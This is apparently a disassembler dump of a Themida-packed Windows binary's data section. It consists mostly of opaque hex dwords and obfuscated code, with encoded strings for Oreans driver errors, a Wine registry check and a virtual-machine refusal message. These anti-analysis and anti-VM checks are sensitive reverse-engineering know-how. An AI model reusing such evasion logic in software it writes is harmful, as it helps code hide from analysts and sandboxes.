2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 4 dd 2 dup(0) aXprotevent db 'XprotEvent',0 align 4 dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h dword_5794A8 dd 94h, 5, 1, 0A28h, 2, 21h dup(0) ; DATA XREF: Themida_:00549210o ; Themida_:0054AC28o aSoftwareWine db 'Software\Wine',0 aLS_1 db '▀дИ',8,0 align 4 dd 63925B00h, 707262E6h, 87B95151h, 59314502h, 21898589h dd 0BD8B0614h, 614226Dh, 0D980C08Bh, 0B1BD834Ah, 61430h dd 0BD830975h, 6141AE1h, 50197400h, 0B8C08B53h, 43Dh, 1A498589h dd 9D8D0614h, 616B73Ah, 585BD3FFh, 1AE1BD83h, 74000614h dd 0B8535017h, 43Dh, 1A498589h, 9D8D0614h, 616B429h, 585BD3FFh dd 8BFE8B66h, 140EF595h, 0E9C08B06h, 0Bh, 0F3FB98BCh, 1E0D2111h dd 8B0A076Ah, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 83CF8B7Fh, 1430B1BDh, 9750006h, 1AE1BD83h dd 74000614h, 8B535013h, 0B8C0h, 9D8D0000h, 616B5DCh, 585BD3FFh dd 1AE1BD83h, 74000614h, 0B8535011h, 0 dd 0B48D9D8Dh, 0D3FF0616h, 6A585Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 958B69C3h dd 6142225h, 0BD33C08Bh, 6142039h, 0FE9C08Bh, 73000000h dd 45B1E130h, 39814F83h, 0F6C3CFB7h, 0BD83A1A4h, 61430B1h dd 83097500h, 141AE1BDh, 13740006h, 0C08B5350h, 0B8h, 0E9D8D00h dd 0FF0616B5h, 83585BD3h, 141AE1BDh, 11740006h, 0B85350h dd 8D000000h, 16B45B9Dh, 5BD3FF06h, 0EE958h, 0CA410000h dd 0EA5BDB5Bh, 6B026BE1h, 0D5DAF1B5h, 28D0Fh, 8FB10000h dd 6E9C08Bh, 0F2000000h, 9E04834Ch, 8BC08B91h, 143165BDh dd 0B1BD8306h, 61430h, 0BD830975h, 6141AE1h, 50137400h dd 0B8C08B53h, 0 dd 0B5759D8Dh, 0D3FF0616h, 0BD83585Bh, 6141AE1h, 50117400h dd 0B853h, 9D8D0000h, 616B474h, 585BD3FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C9C35646h, 0A86AE916h dd 9317482Fh, 18D8BA8h, 0E806140Bh, 0Ah, 6D70BE41h, 69220CDCh dd 0B70F66ECh, 14E959CEh, 89000000h, 0FAC3B3F4h, 95EE7123h dd 0CA6BE949h, 4F48F7ADh, 0FC93B7Ch, 68Ch, 0E5852900h dd 8B061431h, 0ACBF66C0h, 53C08BB4h, 0BE8h, 5A575100h dd 225A35CCh, 0A6EA0EB7h, 14A58D2Bh, 59590614h, 1058D8Bh dd 0BD830614h, 61430B1h, 83097500h, 141AE1BDh, 13740006h dd 0C08B5350h, 0B8h, 0A79D8D00h, 0FF0616B4h, 57585BD3h dd 0B58D8951h, 5F06142Ah, 0D5BD8B59h, 8B061419h, 8B19B6C0h dd 12840FC0h, 0E9000000h, 0Dh, 894D8B8Eh, 736DD12Ah, 2445480Dh dd 0B1BD833Fh, 61430h, 0BD830975h, 6141AE1h, 50197400h dd 0B8C08B53h, 7D0h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh dd 1AE1BD83h, 74000614h, 0B8535017h, 7D0h, 1A498589h, 9D8D0614h dd 616B429h, 585BD3FFh, 6EA171BFh, 51006A65h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 5D1912FEh dd 0C08BFC05h, 0F236EFB9h, 5985C615h, 5306141Ah, 31ED958Bh dd 90680614h, 6699395Fh, 0FFFD36B9h, 141145B5h, 418D8B06h dd 8906140Bh, 142CF58Dh, 13858D06h, 0E806143Bh, 12h dword_5798B0 dd 672F8D01h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h, 0EE926BFh ; DATA XREF: Themida_:0054AF30o dd 0B8000000h, 0AF38C6DAh, 7887EA09h, 0F63173D1h, 0D0FF5F8Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B7C35646h dd 8589F565h, 6142361h, 6E960h, 0F440000h, 812F3720h, 8061D18Bh dd 85C6E2C2h, 6141A59h, 52006A57h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 1AA202Ch, 6146023Ch, 8C5BD03h dd 6680614h, 0E8900452h, 7, 0CF60E681h, 1BAD6D2h, 14098D85h dd 958B5906h, 6143105h, 1145B5FFh, 8B660614h, 13858DCFh dd 6A06143Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 78AC357h, 1BD6D5EAh, 0BF1FAABEh dd 16B90DD5h, 8D89D0FFh, 6142351h, 52B4F181h, 858976ADh dd 6142B19h, 2918D31h, 85C60614h, 6141A59h, 51006A43h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0D3BF0FC0h, 286865B6h, 33BC9070h, 141521BDh, 45B5FF06h dd 6A061411h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 3494C350h, 0B588356Ah, 58EDA70h dd 3B13858Dh, 0D0FF0614h, 0A15B50B9h, 0C781664Bh, 8589CCD4h dd 6143075h, 1A5985C6h, 6A4C0614h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6226C355h dd 419C6932h, 6852ADA7h, 0D9DA1CE9h, 727D81BFh, 45B5FF72h dd 8B061411h, 142CA5BDh, 13858D06h, 6A06143Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0B86FC352h, 0E31C44C0h, 0E981A2BEh, 5E015329h, 2870Fh dd 90B20000h, 8D23D0FFh, 614226Dh, 2F958589h, 958B0614h dd 6142249h, 1A5985C6h, 68460614h, 0BADE0614h, 18F58D8Bh dd 0B5FF0614h, 6141145h, 31D98589h, 858D0614h, 6143B13h dd 0BFD0FFF5h, 61AEAEE4h, 8E9h, 4F285C00h, 1D74245Ch, 59858959h dd 8906141Bh, 141FC9BDh, 5985C606h, 4706141Ah, 5E960h dd 95AD0000h, 0B4592D16h, 0E26861EBh, 0E88A0FB5h, 0Eh dd 0B0A188E1h, 8E10E6B1h, 64512523h, 0E980D063h, 0DE95FDDh dd 0B1000000h, 0EF50BC0Eh, 0CA262E56h, 0A72E599Ah, 1145B5FFh dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 6C38BDC3h, 80F67A35h, 0F8B16AEEh, 3B13858Dh dd 810F0614h, 6, 0ADD7D281h, 0D0FF6E99h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 58C35040h, 0D239A23Fh dd 8B665310h, 0BF0F5FCEh, 458589C9h, 6006141Dh, 6149E480h dd 1A5985C6h, 57470614h, 45E28166h, 0F3685F95h, 6A83D0B5h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 449AC353h, 0E346642Eh, 52586EA8h, 94D78166h dd 3D85890Bh, 0FF061403h, 141145B5h, 0A5BD0906h, 8D061405h dd 143B1385h, 0D4EA8106h, 0FF43B5FCh, 662EBAD0h, 85897027h dd 6142F55h, 0E498D89h, 85C60614h, 6141A59h, 0E1816677h dd 0A368F03Eh, 6AF397A8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0BAFFC350h, 4EA70CCFh dd 0FFB41DF1h, 140931B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0DE8306Bh dd 4E000000h, 0D1FBDECh, 169AD9BCh, 0F7BC8304h, 16F58D8Bh dd 8D590614h, 143B1385h, 9D8B6006h, 6140539h, 2BA9B589h dd 0FF610614h, 559589D0h, 8906142Dh, 14150985h, 0DDB58906h dd 0E8061408h, 12h, 119046D3h, 577A7C80h, 3AFA08BDh, 71673DCEh dd 9589250Ah, 6142F6Dh, 5985C65Ah, 4706141Ah, 0FAF668F5h dd 0FFF58728h, 141145B5h, 0EDBA6606h, 13858D79h, 6A06143Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7E05C357h, 57657EF5h, 0FF244A0Eh, 5DBF66D0h dd 8585893Dh, 6006140Ch, 0CE8h, 0B131F400h, 0D1DE7FB5h dd 0AD4D6739h, 0BEBCBF30h, 665F6DDDh, 0C661D88Bh, 141A5985h dd 6A4306h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0FDCF11C3h, 6890FE9h, 29000000h, 1424298Dh dd 0BD9D0906h, 68061406h, 0BC8E6EFCh, 1579A4B9h, 45B5FF5Fh dd 80061411h, 858DFDF1h, 6143B13h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 93C35545h, 830F914Fh, 14h dd 9E8h, 0D14FD300h, 4DE6C418h, 0DBBF8036h, 5F05F74Fh dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 6E6199C3h, 9D899FD7h, 6140401h, 0DE9h, 96AF9F00h dd 2E61D955h, 7AA76BFh, 8589A1CAh, 6140681h, 31359501h dd 85C60614h, 6141A59h, 95896045h, 6142E89h, 35219D89h dd 68610614h, 8E726969h, 0B5FFCB8Bh, 6141145h, 0BD235756h dd 61405C9h, 858D595Ah, 6143B13h, 5E8h, 0B9301B00h, 8A6058E1h dd 615857C6h, 8BD0FF5Ah, 142C6D95h, 0F9858906h, 0E906142Eh dd 0Ch, 1481B0D1h, 0B1CC1692h, 855F1D4Ah, 1A5985C6h, 0F440614h dd 68Fh, 3DBD8B00h, 2B06140Fh, 141CCDBDh, 0EC646806h, 0BF66B8F2h dd 0B5FF4678h, 6141145h, 1385B589h, 0B5890614h, 6143215h dd 3B13858Dh, 8D8B0614h, 6140091h, 0C981D0FFh, 5FC0613Fh dd 0B618589h, 8C0F0614h, 6, 23D99509h, 85C60614h, 6141A59h dd 4089B943h, 950B3AC7h, 6142409h, 764AA768h, 73BDBFC0h dd 0B5FF4BF0h, 6141145h, 13858DF9h, 0FF06143Bh, 0BD8D89D0h dd 89061423h, 14308185h, 7E806h, 7F70000h, 35504231h, 5F19B686h dd 4A6BD80h, 0F000617h, 0C384h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 988A8D6Ah dd 8DCC8F89h, 17048885h, 81666006h, 8AE288D2h, 895061FCh dd 141155B5h, 8B016A06h, 1401CD8Dh, 0E8006A06h, 5, 7715870Dh dd 0EE9F3h, 0D3CA0000h, 0E953F505h, 3895878Dh, 2F3FFB14h dd 81006A5Ah, 0C9E5FEF1h, 7595FF78h, 0F061430h, 83h, 99858900h dd 0F061402h, 82h, 0B6FF6A00h, 99B5FF27h, 3061402h, 140E258Dh dd 55B50906h, 0FF061431h, 142B1995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 6061BA91h dd 50CFBF0Fh, 615BA3B6h, 0BF66C08Bh, 0BD83F248h, 61430B1h dd 83097500h, 141AE1BDh, 19740006h, 0C08B5350h, 7D1B8h dd 49858900h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h dd 6141Ah, 53501774h, 7D1B8h, 49858900h, 8D06141Ah, 16B4299Dh dd 5BD3FF06h, 0DEDDB958h, 0BD8939C0h, 6142329h, 81666050h dd 8964ADD1h, 140ED19Dh, 8B5A6106h, 61F860C0h, 1A5985C6h dd 0B9470614h, 3ADDE948h, 0C8F7C168h, 0B5FFF593h, 6141145h dd 3B13858Dh, 0E7810614h, 7C8AA225h, 0FE9h, 0D7260500h dd 0C23DCB67h, 0D0D137B2h, 3E10365Dh, 0BA50D0FFh, 17096002h dd 8C9858Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0F95632C3h dd 0C73FB15Ah, 9400h, 0E88A5000h, 6A585Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9D635FC3h dd 0C9B58DCFh, 89061708h, 141D718Dh, 6A5606h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 98A89DC3h dd 0E772A317h, 0D0FF396Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 15C35747h, 717C0D5Fh, 0B967F5B1h, 56041AB7h dd 25999529h, 858D0614h, 61708C9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0A1C35242h, 0D94C90EBh, 0D18166CAh dd 0E281CF5Eh, 7448E8ABh, 0C2B4DDB9h, 478836Dh, 5B850F06h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0E848C350h, 93537775h, 14E8C4h dd 3FBA0000h, 0CB7D5B54h, 0BFED3A33h, 1F4BF87Fh, 8F2495CBh dd 840FDA31h, 6, 116DBD2Bh, 665F0614h, 85C7D08Bh, 617095Dh dd 1, 23158D09h, 0BD830614h, 6142CBDh, 7A850F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0F02C351h, 0D1BD0160h, 2B061414h, 1402A595h dd 0BD836106h, 617095Dh, 42850F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0A104C352h, 0C710D554h, 3DBD8347h, 61400h, 13840Fh dd 0F6800000h, 9585C7B8h, 6142Bh, 29000000h, 1425B585h dd 0DB8C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 21C35343h, 2179184Ch, 65310065h, 0C2C1B966h, 0F04C3F6h dd 52D84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 34BDABE3h, 35958960h, 8B06140Bh dd 1423A1B5h, 0BD8B6106h, 6140629h, 12CD85C7h, 614h, 800F0000h dd 19h, 14E9h, 80A85500h, 8CEAEC6Dh, 65564482h, 4A85DFFFh dd 2607D6E9h, 0B3BD80C1h, 61704h, 6850Fh, 85890000h, 6141A25h dd 1A5985C6h, 8B470614h, 1430E995h, 5B866806h, 5CBAE3E4h dd 0FF0DE5ACh, 141145B5h, 1958B06h, 8D061409h, 143B1385h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 20CE2733h, 9D2C5FCh, 14149195h, 0EE906h dd 0A120000h, 0DABD0998h, 0E53F11C9h, 7403BB0Fh, 1BB9958Bh dd 0D0FF0614h, 683CE280h, 104h, 9D8DF98Bh, 61411A9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h, 8EB1E864h dd 414DD3F2h, 6E8h, 6EB5C600h, 896510E3h, 14147585h, 1535906h dd 1413DD85h, 8BD0FF06h, 1424D9BDh, 0A9858D06h, 6A061411h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 6772C352h, 0F5B2883Ch, 0F280CB1Ah, 0A5958B4Ah dd 5006142Fh, 0E473B966h, 465858Dh, 12E80617h, 0BC000000h dd 86238199h, 57D9838Fh, 2D4DE792h, 9B1523FEh, 5FCE8A25h dd 50D7B70Fh, 41958B52h, 5906141Bh, 0FB38858Dh, 0EA810616h dd 2CFD229Eh, 3F57D181h, 89501F32h, 1415E985h, 995FF06h dd 0E9061415h, 10h, 0D63B535Fh, 868F6331h, 0E1AB8733h dd 42B7365Ah, 2B0CC483h, 1406658Dh, 68006A06h, 80h, 6A036Ah dd 68006Ah, 8D800000h, 16FB3885h, 95FF5006h, 6140681h dd 4488589h, 85C60617h, 6141A59h, 5E876847h, 0B5FFC7B1h dd 6141145h, 3B13858Dh, 0D0FF0614h, 0B5FF006Ah, 6170448h dd 0CA81D0FFh, 111EAAFh, 37D03Dh, 41830F00h, 8B000000h dd 48B5FFD3h, 0F061704h, 8Eh, 8195FF00h, 60061430h, 23219589h dd 0FE90614h, 0AE000000h, 0A1710C21h, 0E885F53Fh, 89A0BF08h dd 8B610AE7h, 142B458Dh, 0AEE906h, 0BD8B0000h, 6140869h dd 448B5FFh, 0B70F0617h, 8195FFFFh, 60061430h, 31D5BD8Bh dd 81520614h, 7FE943CBh, 8B615B78h, 8B006AD6h, 140BB595h dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 8380C350h, 0FA15158h, 68Eh, 0A5BD8B00h dd 6A061414h, 0F88B6600h, 12E9006Ah, 0C1000000h, 8C602DA7h dd 0C60CC030h, 0B735038Ah, 3F8BB0FBh, 8B006A3Fh, 142FB995h dd 0F8006A06h, 44C858Dh, 81500617h, 31097AE7h, 8195FF55h dd 2B061406h, 141CC195h, 0FFF88306h, 114850Fh, 8D090000h dd 61414C9h, 0BFD8858Dh, 0EE90616h, 9E000000h, 0AE58CAACh dd 16DAE867h, 6CE41A44h, 33D0FF41h, 142B9D95h, 0E8006A06h dd 0Ah, 0CAD91C5h, 0B7A0AD3Dh, 870F437Ch, 17h, 12E9h, 0CB883B00h dd 1D41B2DCh, 526A9B44h, 54A652B5h, 5FD355F0h, 6AF98Bh dd 30E9B589h, 6A0614h, 0C51958Bh, 6A0614h, 1A25B589h, 6A0614h dd 6840Fh, 0BD8B0000h, 6140271h, 289958Bh, 6A0614h, 91BF6653h dd 0AE9596Fh, 0A3000000h, 3475AC8h, 5C020260h, 4C858DA9h dd 0F061704h, 68Bh, 0DDBD8B00h, 50061410h, 0F119D89h, 95FF0614h dd 6140681h, 23EDB589h, 0DF810614h, 7F80F064h, 0FFFF883h dd 4585h, 927BB900h, 0B58D10BFh, 616FE54h, 5E8h, 0EE5A2900h dd 810FD868h, 2, 8D5FCA8Bh, 16A99A85h, 88D9B906h, 0D0FF4990h dd 1C3D8589h, 6A0614h, 2A798589h, 95FF0614h, 6142EF9h dd 1A21B589h, 85890614h, 6170448h, 294D8D89h, 860F0614h dd 6, 4831EF81h, 6A030Ch, 94E5B966h, 440858Dh, 6A0617h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0F120F9C3h, 7B3A095Fh, 6A508627h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A497C352h dd 0FBBA5370h, 89F82C55h, 140B798Dh, 0E8046A06h, 0Eh, 0CFE07DEEh dd 8E1FE852h, 0B6B44FF0h, 0BE86BA8h, 84000000h, 0B1668E7Dh dd 935790DCh, 858916E8h, 61429E9h, 858D5A5Fh, 6142421h dd 0DE950h, 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 6A9F3790h dd 66006A00h, 9D29D68Bh, 6142615h, 8960016Ah, 1400C195h dd 0D1B58906h, 6106140Bh, 448B5FFh, 14E90617h, 2E000000h dd 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 0FF334521h dd 140B6195h, 418D0B06h, 0E9061411h, 1B7Dh, 18E1BD8Bh dd 0C08B0614h, 2A5BD89h, 0BD830614h, 61430B1h, 83097500h dd 141AE1BDh, 19740006h, 0C08B5350h, 7D2B8h, 49858900h dd 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah dd 53501774h, 7D2B8h, 49858900h, 8D06141Ah, 16B4299Dh dd 5BD3FF06h, 0B6BA6658h, 0D1BD89D8h, 66061404h, 1062C981h dd 0BD8BC08Bh, 614052Dh, 12CD85C7h, 10614h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B8F54C3h, 1412B1BDh, 0E7B86806h, 0B5FFCEE4h, 6143481h dd 3B13858Dh, 0D0FF0614h, 3A58589h, 858D0614h, 61706A4h dd 61858D50h, 50061709h, 168h, 0A595FF80h, 0B061403h, 0C70A75C0h dd 14033985h, 106h, 0DBD46800h, 0B5FFC005h, 6143481h, 3B13858Dh dd 0D0FF0614h, 2ED8589h dd 858D0614h, 616F8F1h, 45B5FF50h, 0FF061411h, 141D4595h dd 74C00B06h, 8DD88B0Bh, 1708A485h, 0D3FF5006h, 8A4858Dh dd 83660617h, 0A750938h, 14CD85C7h, 10614h, 95FF0000h dd 6140C85h, 0FF25h, 5F88300h, 85C70A73h, 6141D79h, 1 dd 2049B531h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 4CAE2FC3h, 0BDCCC21Fh, 0F2810FBFh dd 64DBB2DCh, 0B6CF8B66h, 0B3BD8058h, 61704h, 2D840Fh dd 95030000h, 6143131h, 6BDB589h, 0BD830614h, 617095Dh dd 1B840F00h, 60000000h, 8E9h, 6673B000h, 826B61CCh, 66BCBB39h dd 0E9610AE3h, 19C1h, 0BD83D78Ah, 61414CDh, 0B5850F00h dd 8D000000h, 17047D85h, 10E806h, 16A30000h, 4554D1D3h dd 0F56F5CC8h, 25D00935h, 0F566D20h, 82h, 665A5A00h, 741CE181h dd 65BD3150h, 6A06142Ah, 0B5016001h, 6142CC9h, 85895061h dd 61418FDh, 8B006A5Ah, 1418E1BDh, 8A006A06h, 7595FFF1h dd 89061430h, 140565BDh, 0A7858906h, 66061704h, 9DE4EA81h dd 9523FF6Ah, 6140BE1h, 4A7B5FFh, 6A0617h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 929381C3h dd 0DD5ABECBh, 0F348099h, 78Fh, 81665200h, 5AF66EF7h, 15859D01h dd 95FF0614h, 6142B19h, 0F983BA66h, 0F8B8858Dh, 0BD8B0616h dd 6140395h, 619B589h, 0FF500614h, 142F9595h, 8902B106h dd 16F94285h, 0FEBF0F06h, 0F8C5858Dh, 6A0616h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0FB042C3h, 0FF50D6B7h, 16F942B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 4595FF52h dd 8B06141Dh, 143215BDh, 0D5858906h, 8B06140Bh, 1419AD95h dd 33858D06h, 0F90616F9h, 1961958Bh, 81500614h, 6A5C12D2h dd 42B5FF75h, 6A0616F9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 438DC352h, 95FF5C7Fh dd 6141D45h, 0C398509h, 0CE80614h, 36000000h, 49BE58FAh dd 0EE21804Ch, 0E9A94A45h, 11h, 66832669h, 0C498DFDCh dd 0EB7C1F66h, 0BDAECEADh, 85895959h, 616F956h, 20CDBD29h dd 858D0614h, 616F912h, 500FE280h, 0B5FFCF8Ah, 616F942h dd 0C4D28166h, 89BD898Dh, 0FF06140Eh, 141D4595h, 11E906h dd 0A67C0000h, 0BD3E25AEh, 5166AEA9h, 84BF0C27h, 0E937CE54h dd 14h, 4DB56F9Ch, 36F52603h, 2A589678h, 0A2100A1Ah, 40A9F794h dd 0F94E8589h, 66B10616h, 0F905858Dh, 0DEB10616h, 3DB96650h dd 950951B2h, 6140F71h, 42B5FF5Ah, 0E80616F9h, 0Ch, 9F331EB4h dd 0BE602FB0h, 0A878C801h, 0F18D8Bh, 0FF5F0614h, 141D4595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 29768C7Eh, 30BBD40h, 1410A995h, 52858906h dd 0F0616F9h, 8B66CBB7h, 20858DCFh, 660616F9h, 502CDEBFh dd 165DB589h, 0B5FF0614h, 616F942h, 1625950Bh, 95FF0614h dd 6141D45h, 8589CF8Bh, 61402A9h, 0F8D4858Dh, 6A0616h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 251DE8C3h, 1E2A74EBh, 5E87829h, 1F000000h, 0C48BF716h dd 0CE8h, 93C4B300h, 0BDB3EE27h, 2D60D44Ch, 0A98D0373h dd 59061408h, 0A5BD895Fh, 50061421h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0E5C35545h, 7382D57Eh, 27BD04B8h dd 30919531h, 0B5FF0614h, 616F942h, 18CDBD89h, 95FF0614h dd 6141D45h, 152D8D33h, 85890614h, 616F946h, 1CD8D8Bh dd 0BD290614h, 6142201h, 0F8E3858Dh, 0BA660616h, 8B5008F4h dd 141951BDh, 42B5FF06h, 0E90616F9h, 6, 4B6757D4h, 95FF48ECh dd 6141D45h, 0E042C2BFh, 13E914h, 5A3A0000h, 35D7D491h dd 0D0945573h, 316F3806h, 0E075D33Ah, 4A858957h, 8A0616F9h dd 10468ECh, 0EAB50000h, 0F9DA858Dh, 0B5890616h, 6140021h dd 8D62B550h, 16FADE85h, 50D38B06h, 0FFFA8B66h, 142F5595h dd 0E9606006h, 0Dh, 0F5D83EC6h, 458A0A8h, 0A8AE93DDh, 7E973h dd 32960000h, 3DDAC975h, 0BD09611Bh, 614152Dh, 0FC08561h dd 685h, 0DD958900h, 80061410h, 1704B3BDh, 850F0006h, 2Ch dd 23A5BD0Bh, 0A2E90614h, 6A000015h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0B9E5C350h dd 608A9F22h, 14CDBD83h, 0F000614h, 2185h, 299D8900h, 83061423h dd 17095DBDh, 840F0006h, 58h, 58D8B50h, 5906142Fh, 0F658D8Bh dd 858D0614h, 616F977h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0C7C35545h, 7E0EA353h, 0E959AFC8h, 29959589h dd 1EE90614h, 81000015h, 0A33634CFh, 0B2BA6627h, 33E98Eh dd 85890000h, 6142F69h, 0F962858Dh, 6A0616h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A20C5CC3h dd 71DF4B38h, 0FB8B6692h, 6A50F5h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 3E4C1FC3h, 0F9DA858Dh dd 8D230616h, 61424D5h, 5E950h, 8C450000h, 836057E7h, 1414CDBDh dd 840F0006h, 67h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0E6C35040h, 9D5BD181h, 858D77CBh, 616FB00h dd 1A8C0Fh, 8D0F0000h, 14h, 0FE9h, 0E8110800h, 693B5CD4h dd 0CDAE9E4Bh db 9Fh, 6Ah, 8Eh off_57AEE7 dd offset dword_445750+91C5h ; 